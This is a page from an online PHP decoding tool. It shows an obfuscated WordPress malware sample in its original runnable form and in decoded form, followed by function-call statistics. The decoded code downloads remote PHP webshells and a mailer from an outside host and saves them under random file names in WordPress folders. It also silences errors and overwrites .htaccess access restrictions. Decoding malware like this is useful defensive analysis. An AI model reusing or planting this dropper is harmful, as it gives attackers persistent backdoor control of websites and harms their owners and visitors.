Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $VBdOc = 's'.'trre'.'v'; $WewdC = 'bas'.'e64'.'_'.'decode'; $fPOJx = 'gzin'.'flate';..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "./../../../../../../wp-admin/Sl6HURLiq8A.php"); $p_mailer = str_replace("../", "", "./../../../../../../wp-content/FSBtklM69DT.php"); $p_xleet = str_replace("../", "", "./../../../../../../wp-includes/ShTPD1BJyQa.php"); $root = str_replace("../", "", "./../../../../../../"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "m3ajVgLlxu4", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }
Did this file decode correctly?
Original Code
<?php $VBdOc = 's'.'trre'.'v'; $WewdC = 'bas'.'e64'.'_'.'decode'; $fPOJx = 'gzin'.'flate'; ini_set('display_errors', 0); ini_set('log_errors', 0); /* 371e698435b4eb617af1066e6b1f7a2847648f02 */ error_reporting(0); ini_set('error_log', NULL); eval($fPOJx($WewdC($VBdOc('=cw/HLGNy29Dzan6VrOZ/qCL58D+NHvf046JzvWL8k6cPvAymQV/CC4pH2JnJc+etr/cbf6+ynByjfePt6NAJFC0Ws+7LB+5AA1+lQsHtQ23BPR12btx/Eiral9NDQwoMNZtpK+QVHNMoWeE4lQODixiE4J8drV0p90dvYB+ExiUIHKXcaAhAbfD+z/AKBncLzRY8wVyIZ0XmrOPcKQBn9fbTyS4II4JzQh01VHTLZCJlZN/xmp6y7ZpWu64WISxqWOhHE+8jf7Gz2K5WkTIq9Bhi2VvbPVDu3iyOIbP2lRQWxd1DproVLu9a+3vCw7+mNS+65bW9CorBbk+BxTClitrZH0huisK14atkj7IRlQfhCk0wy+Nl6wzo8a+d4rE8acrX7lOYnmaz2PPoLocjGkgaRa4q3IkB2LYU3JX7GiKqw1wdZ7FRTm7zcjmTBW5Su87CxMbFny+38qkgO6MRgT+v/gWz21MDxxpKjXp04pfcwF2OTGphnQWyB2iNeRheBKwoidZq5SltIVqRZbAqZ7FoPOM9DxYyISWt1PMaKKP7wV+MDxwz80kXMSmz4JueriUasZZKMLloBxq5+Bfhf48xLsjZluk9ztvUqgiX6Q3iip7UwQMGFJ2o0DjUbLly5UKk0TYIKNXg0gcJw6k9DGcc8uGPxd80dK7ayj3ys4ZC2Q9KAi12ERQkRmKrzYh2wzXBTZbP/0TbOsaHU2aGkxxJMvRBcT00YBzT1LWkh5oTRZwjoA8PaW8OBw9oYajflGdx6Jk/47do5rUm77YKM+nO9r98SHNqpBfM4nt444496e/xPtv9jb7O+D0ufHsTgYu4sx/vV34Tiv3DfYYPi4K49nd9e/1Ry/cQTIfguo9r/bb7MH39/sXd7mgvucsCsyxb0eOcXsXICaRfw8fDsrWwjuIzGmxSZUYdKnm3wERUGn7iDAeMT8QQdVUsfqn6QAKNDwFJ61QVVEgIBouGbsgCT/zLxJbFzDdxyIwJFhYJcxCIW6K5lgSLD3jHfY9yv5g5zZNZCsIxHEKSbn9jhxqsuD+f7mv4/Y2v6Q3mNhhSQkT2p/YUEmzx0kUOnptL/c06J/N+h7wYRZeD6gel99BZm2nJCaRplmprxqIY47kZEg/FIW8mojQCiWy6ZqSsEaKFHD0UaaAndmZ849bzcNkggIJgO0DbfP/RDRprrb8tG8rZhGtUr+0agpIhOHiFt0gi7LEYno9Kt4Gr0PEIp9bNUVl')))); ?>
Function Calls
strrev | 1 |
ini_set | 3 |
gzinflate | 1 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | 215cd64a54d2f2f71045868b4dd9b5cb |
Eval Count | 1 |
Decode Time | 64 ms |